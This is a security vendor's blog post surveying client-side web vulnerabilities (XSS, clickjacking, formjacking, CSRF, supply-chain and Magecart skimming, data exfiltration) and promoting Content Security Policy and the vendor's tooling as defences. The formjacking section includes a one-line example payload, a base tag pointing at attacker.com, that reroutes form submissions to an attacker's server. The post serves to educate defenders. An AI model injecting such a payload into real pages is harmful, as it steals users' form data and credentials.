Home » Resources » Blog » 6 Common Web Application Client-side Vulnerabilities

6 Common Web Application Client-side Vulnerabilities

RapidSec » Resources » Knowledge Base » Web Application Vulnerabilities

The Open Web Creates Web Application Client-side Vulnerabilities

Web Application Client-side Vulnerabilities account for around 45% of all cybersecurity threats! Why?

The web browser was originally built to facilitate basic viewing of content - and so had almost no built-in permissions and security mechanisms. Advanced web application, and login-based behavior came later, and security became the after-thought!

The openness of the web has made it an unprecedented success, but it also makes it vulnerable. As logic moves to the front end, attackers are taking advantage of the increased attack surface.

XSS, Clickjacking, Formjacking, CSRF, Data exfiltration, and other client-side attacks, make 35-55% of the total cybersecurity vulnerabilities, across all industries — finance, government, healthcare, SaaS, ecommerce, and more. (source: HackerOneReport). These attacks lead to customer data theft, regulatory scrutiny, ongoing compromised user experience, loss of trust, stuck sales cycles, and ongoing revenue loss.

Around 45% of cyber vulnerabilities across all industries are on the web client-side. Source: Hacker one security report 2019

Web Application Client-side Vulnerabilities

XSS: Cross-site scripting

XSS is the most common web application vulnerability. It is in fact the most common cyber vulnerability in general — and no company is immune to XSS, regardless of which WAF they run, or how talented their engineers are. Even companies with access to the best R&D in the world, find it challenging to mitigate attacks on the web client side. As evidence - the web accounts for over 50% of all of Google's exploited cybersecurity vulnerabilities, with 35.6% of their exploited attack surface being XSS!

Over 50% of the vulnerabilities on Google's product are on the web client-side. Source: Google I/O 2019 (PresentationYoutube)

Since cross-site-scripting allows attackers to completely hijack the JS-runtime context, XSS attacks can lead to devastating outcomes, including: Account Takeovers (including admins), chaining to CSRF / SSRF (server-side-request-forgery), XSS worms, and more. Not enough? An XSS is likely to lead to phishing attacks against your users as happened in a UPS.com XSS vulnerability.

Modern desktop applications are built with web technology, and many have "inherited" XSS vulnerabilities — which allow for RCE (remote code execution). A few examples are: Wormable Remote code execution via XSS on Cisco Jabber WhatsApp Web & Desktop XSS with a CSP Bypass leveraging a small forgotten * wildcard (they should have used CSPscanner.com)

Reflected XSS and stored XSS attacks have been around for 2 decades, with limited ability to mitigate them. Moreover, the emergence of rich client-sides and SPAs, has led to a major growth in DOM XSS — another sub-type of this attack which is entirely invisible to the WAF/RASP.

The R&D effort for sanitizing each and every interaction with user-supplied data is enormous and error-prone (see DOM based XSS Prevention guide by OWASP). Hence, adopting CSP as a broad defense-in-depth mechanism, serves a great strategy — see Github's CSP journey.

Clickjacking (UI Redressing)

This web application vulnerability is ofter exploited very creatively by attackers. As Mentioned by OWASP:

Clickjacking, also known as a "UI redress attack", is when an attacker uses multiple transparent or opaque layers to trick a user into clicking on a button or link on another page when they were intending to click on the top level page. Thus, the attacker is "hijacking" clicks meant for their page and routing them to another page, most likely owned by another application, domain, or both. Using a similar technique, keystrokes can also be hijacked. With a carefully crafted combination of stylesheets, iframes, and text boxes, a user can be led to believe they are typing in the password to their email or bank account, but are instead typing into an invisible frame controlled by the attacker

OWASP top 10 - Clickjacking

While multiple mitigation strategies exist, the single-most effective measure against Clickjacking is proper usage of CSP frame-ancestors directive, but unfortunately — this simple solution is highly under-utilized. CSPscanner.com checks that your CSP correctly sets this directive.

Note: the usage of the X-Frame-Options security header is still needed for backward compatibility reasons. Use a product like RapidSec.com to automate your deployment of these defensive mechanisms, along with backward compatibility measures, and graceful degradations for browser quirks.


In Formjacking attacks, attackers manage to specify the action URL of a form via a parameter. The attackers cause forms to be submitted to a maliciously controller server, and exfiltrate sensitive data such as, CSRF tokens, PII, credit cards details, user entered parameter values, and any other of the forms content will be delivered to the attacker via the hijacked action URL.

The easiest way for attackers to hijack forms is by injecting a simple base tag that will route relative form and asset requests to the attacker controller server (thus also applicable to XSS).

This example payload will route all requests through an attacker controlled base uri:

<base href="https://attacker.com/" />

CSRF (Cross-site Request Forgery)

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.

The CSRF web application vulnerability is a combination of a client-side cookie isolation issue, with not enough server-side validation.

Most web developers are unaware that the default cookie settings of the web specifications, allow an attacker.com to issue requests to other websites, including their cookies with that site (that usually include the authenticated session), thus tricking the attacked server to make actions without the victim's consent or knowledge.

CSRF mitigation generally includes leveraging SameSite cookies for proper isolation and usage of CSRF tokens for defense-in-depth.

The Content-Security-Policy directives do not offer CSRF protection. In the future, RapidSec will automatically apply secure Samesite cookies, and detect anomalies using the Origin/Referrer/Sec-* headers - much like we automate CSP. Until then - feel free to ask us about how you can properly isolate your cookies manually.

Supply Chain Attack / Magecart

Supply-chain attacks are a growing measure used by attacks to achieve JS-runtime access to a victim site at scale, by taking over a source that is already trusted by the site.

An example would be taking over some-open-cdn[.]com/bootstrap.js which is loaded legitimately in thousands of sites, and adding a malicious behavior to the script.

Many modern supply chain attacks are used for Magecart — hijacking credit card payment details and selling them on the dark web.

Supply chain attacks can be devastating because:

  • These attacks run at immense scale — basically applied to all visitors of a site (unlike XSS/CSRF which is generally more targeted).
  • The attack could possibly bypass the first protective layer of the CSP — since some-open-cdn[.]com/bootstrap.js could be allowed in the CSP.
  • A good CSP however would block loading external scripts from the attacker controlled site - as happened in many of the major Magecart attacks.

Some protective measures include Subresource-integrity (SRI) which has been proven hard to configure and maintain.

The best measure today is still a strict CSP that will limit what the attacker can do with the JS-runtime. Sometimes restricting frame-src or limiting data-exfiltration could save the day, along with proper CSP reporting that will make sure the attack is detected immediately.

General / Data Exfiltration

Attackers achieving JS-runtime access via XSS or a supply chain attack will at some point want to communicate with a remotely controlled malicious server in order to exfiltrate data:

  • PII / Credit cards skimmed from forms.
  • Tokens or session cookies that are accessible in the JS runtime (make sure that your cookies are Secure, HttpOnly, SameSite=Strict/Lax ).
  • Any sensitive information in the DOM (think SaaS, banking).
  • Dynamic control scripts.

Protecting against such exfiltration is extremely important and the stricter the CSP, the harder things get for the attacker (ultimately closing the attack surface entirely). It is however wise to choose a good balance - making sure that you don't break your site with CSP, and get the dreaded because it violates the following content security policy directive error.

How to close web applications' attack surface and prevent common web application vulnerabilities

Now that you know the important of mitigating web Application client-side vulnerabilities

Content Security Policy CSP is a swiss-army knife for your Client-Side security efforts, that can block out entire groups of attacks when configured correctly. The easiest way to get started is with our CSP Generator.

However, there are many other practices and browser-native security controls that are just-as critical to properly protect your web assets (proper definition of cookies, tokens, and much more). 

OWASP Cheat-Sheet is a great resource to learn what defensive mechanisms actually work. If you would like to automate the OWASP Cheat-sheet recommendations, without the complexity - Sign up for a RapidSec trial today

If you think I can improve this article, please let me know @Shai_Alon.

We’re excited to update that RapidSec has joined Orca Security!
This is default text for notification bar